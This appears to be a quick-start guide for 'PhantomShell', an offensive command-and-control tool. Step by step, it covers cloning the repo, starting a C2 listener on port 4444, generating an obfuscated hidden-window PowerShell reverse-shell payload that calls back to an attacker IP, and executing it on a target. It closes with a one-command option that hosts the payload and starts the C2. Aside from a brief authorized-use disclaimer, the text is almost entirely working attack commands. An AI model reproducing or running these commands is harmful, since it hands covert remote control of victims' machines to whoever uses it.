🚀 Quick Start
Get PhantomShell up and running in 4 simple steps
01
Install
Clone the repository and make the scripts executable.
$ git clone https://github.com/Red-Parakeet/PhantomShell.git
$ cd PhantomShell
$ chmod +x phantomshell.py phantomc2.py
Installation complete
02
Start C2 Server
Run the C2 server to listen for incoming connections.
Replace RedTeam2026 with your own secure password
$ python3 phantomc2.py --port 4444 --password RedTeam2026
TCP listener on 0.0.0.0:4444
Web UI on http://localhost:8080
03
Generate Payload
Generate an obfuscated PowerShell payload.
Replace 10.10.10.5 with your IP and 4444 with your port
$ python3 phantomshell.py revshell -i 10.10.10.5 -p 4444
powershell -NoP -sta -NonI -W Hidden -enc JAB4QUExAD0...
Copy the entire output. This is your payload.
04
Deploy
Execute the payload on the target machine.
Authorized Use Only — Only use on systems you own or have explicit written permission to test.
powershell -NoP -sta -NonI -W Hidden -enc [PASTE_YOUR_PAYLOAD_HERE]
Session connected! Check Web UI or CLI
The payload from Step 3 goes where [PASTE_YOUR_PAYLOAD_HERE] is shown.
⚡ All-in-One One Command
Generate payload, host it, AND start the C2 server with one command
Replace 10.10.10.5 with your IP, 4444 with your port, and RedTeam2026 with your password
$ python3 phantomshell.py serve -i 10.10.10.5 -p 4444 --host-payload --start-c2 --password RedTeam2026